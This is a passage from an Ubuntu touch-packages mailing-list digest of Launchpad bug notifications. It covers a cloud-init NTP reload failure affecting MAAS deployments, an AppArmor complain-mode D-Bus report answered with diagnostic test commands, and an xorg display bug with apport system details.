provisioning a machine. I can't remember the exact details and I'm not
confident that was the final solution but maybe that rings some bells
for the others that were involved.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1701297

Title:
  NTP reload failure (causing deployment failures with MAAS)

Status in cloud-init:
  Incomplete
Status in apparmor package in Ubuntu:
  Confirmed
Status in cloud-init package in Ubuntu:
  Incomplete
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  After update [1] of cloud-init in Ubuntu (which landed in xenial-
  updates on 2017-06-27), it is causing NTP reload failures.

  https://launchpad.net/ubuntu/+source/cloud-init/0.7.9-153-g16a7302f-
  0ubuntu1~16.04.1

  In MAAS scenarios, this is causing the machine to fail to deploy.

To manage notifications about this bug go to:
https://bugs.launchpad.net/cloud-init/+bug/1701297/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1700231] Re: 16.04 , apparmor denies dbus communications even with flags=(complain)

[Tyler Hicks]

@sles the supported way to move the entire profile and all subprofiles
into complain mode is via the aa-complain utility in the apparmor-utils
package. You may find that easier than manually adjusting individual
profile flags.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1700231

Title:
  16.04 , apparmor denies dbus communications even with flags=(complain)

Status in apparmor package in Ubuntu:
  Invalid

Bug description:
  While investigating 
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1699681
  found that apparmor denies dbus communications even with flags=(complain) , 
which is wrong behaviour.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1700231/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1700231] Re: 16.04 , apparmor denies dbus communications even with flags=(complain)

[Tyler Hicks]

Hello - Thanks for the bug report!

I'm unable to reproduce the behavior that you're experiencing. Please
include more information about your environment such as the apparmor
package version and kernel version (/proc/version_signature).

Here's how I tested:

$ cmd="dbus-send --print-reply --system --dest=org.freedesktop.DBus 
--type=method_call /org/freedesktop/DBus org.freedesktop.DBus.ListNames"
method return time=1498517150.253153 sender=org.freedesktop.DBus -> 
destination=:1.58 serial=3 reply_serial=2
   array [
  string "org.freedesktop.DBus"
...
  string ":1.19"
   ]
$ echo "profile complain-all flags=(complain) { }" | sudo apparmor_parser -qr
$ aa-exec -p complain-all -- $cmd
method return time=1498517219.310650 sender=org.freedesktop.DBus -> 
destination=:1.59 serial=3 reply_serial=2
   array [
  string "org.freedesktop.DBus"
...
  string ":1.19"
   ]

If AppArmor was denying D-Bus communications even with flags=(complain),
the `aa-exec -p complain-all -- $cmd` command would not have been able
to display the list of connected D-Bus clients.

Can you share how you came to the conclusion that AppArmor is
incorrectly denying D-Bus communications even when the profile is in
complain mode?

** Changed in: apparmor (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1700231

Title:
  16.04 , apparmor denies dbus communications even with flags=(complain)

Status in apparmor package in Ubuntu:
  Incomplete

Bug description:
  While investigating 
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1699681
  found that apparmor denies dbus communications even with flags=(complain) , 
which is wrong behaviour.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1700231/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1698639] Re: graphic dont work

[Tyler Hicks]

Thanks for taking the time to report this bug and helping to make Ubuntu
better. We appreciate the difficulties you are facing, but this appears
to be a "regular" (non-security) bug.  I have unmarked it as a security
issue since this bug does not show evidence of allowing attackers to
cross privilege boundaries nor directly cause loss of data/privacy.
Please feel free to report any other bugs you may find.

** Information type changed from Private Security to Public

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1698639

Title:
  graphic dont work

Status in xorg package in Ubuntu:
  New

Bug description:
  Gtk-Message: GtkDialog mapped without a transient parent. This is discouraged.
  cat: /var/log/lightdm/x-0-greeter.log: Nie ma takiego pliku ani katalogu
  cat: /var/log/lightdm/x-0-greeter.log.old: Nie ma takiego pliku ani katalogu
  Gtk-Message: GtkDialog mapped without a transient parent. This is discouraged.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: xorg 1:7.7+13ubuntu3
  ProcVersionSignature: Ubuntu 4.8.0-54.57~16.04.1-generic 4.8.17
  Uname: Linux 4.8.0-54-generic x86_64
  .tmp.unity_support_test.0:
   
  ApportVersion: 2.20.1-0ubuntu2.6
  Architecture: amd64
  CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
  CompositorRunning: compiz
  CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0'
  CompositorUnredirectFSW: true
  Date: Sun Jun 18 13:06:42 2017
  DistUpgraded: Fresh install
  DistroCodename: xenial
  DistroVariant: ubuntu
  DkmsStatus:
   bbswitch, 0.8, 4.8.0-54-generic, x86_64: installed
   nvidia-381, 381.22, 4.8.0-54-generic, x86_64: installed
  ExtraDebuggingInterest: No
  GraphicsCard:
   Intel Corporation 2nd Generation Core Processor Family Integrated Graphics 
Controller [8086:0116] (rev 09) (prog-if 00 [VGA controller])
 Subsystem: Lenovo 2nd Generation Core Processor Family Integrated Graphics 
Controller [17aa:397d]
  InstallationDate: Installed on 2017-06-15 (2 days ago)
  InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 
(20170215.2)
  MachineType: LENOVO HuronRiver Platform
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.8.0-54-generic 
root=UUID=223aa3e7-2866-4e97-adde-818a33f681ad ro quiet splash vt.handoff=7
  SourcePackage: xorg
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 02/15/2012
  dmi.bios.vendor: LENOVO
  dmi.bios.version: 45CN47WW
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: Emerald Lake
  dmi.board.vendor: LENOVO
  dmi.board.version: FAB1
  dmi.chassis.asset.tag: Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: 0.1
  dmi.modalias: 
dmi:bvnLENOVO:bvr45CN47WW:bd02/15/2012:svnLENOVO:pnHuronRiverPlatform:pvrIdeapadZ570:rvnLENOVO:rnEmeraldLake:rvrFAB1:cvnLENOVO:ct10:cvr0.1:
  dmi.product.name: HuronRiver Platform
  dmi.product.version: Ideapad Z570
  dmi.sys.vendor: LENOVO
  version.compiz: compiz 1:0.9.12.2+16.04.20160823-0ubuntu1
  version.ia32-libs: ia32-libs N/A
  version.libdrm2: libdrm2 2.4.70-1~ubuntu16.04.1
  version.libgl1-mesa-dri: libgl1-mesa-dri 12.0.6-0ubuntu0.16.04.1
  version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A
  version.libgl1-mesa-glx: libgl1-mesa-glx 12.0.6-0ubuntu0.16.04.1
  version.xserver-xorg-core: xserver-xorg-core N/A
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
  version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A
  version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A
  xserver.bootTime: Sat Jun 17 16:52:14 2017
  xserver.configfile: default
  xserver.errors: Failed to load module "nvidia" (module does not exist, 0)
  xserver.logfile: /var/log/Xorg.0.log
  xserver.version: 2:1.18.4-1ubuntu6.1~16.04.1
  xserver.video_driver: modeset

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1698639/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp